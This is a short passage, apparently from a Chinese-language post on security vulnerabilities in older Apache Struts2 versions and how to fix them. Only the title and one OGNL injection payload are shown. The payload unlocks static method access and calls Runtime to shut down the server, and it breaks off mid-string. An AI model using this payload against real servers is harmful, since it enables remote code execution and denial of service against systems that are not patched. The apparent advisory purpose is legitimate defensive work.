Struts2低版本安全漏洞及解决办法
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?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1?('\u0023_memberAccess[\'allowStaticMethodAccess\'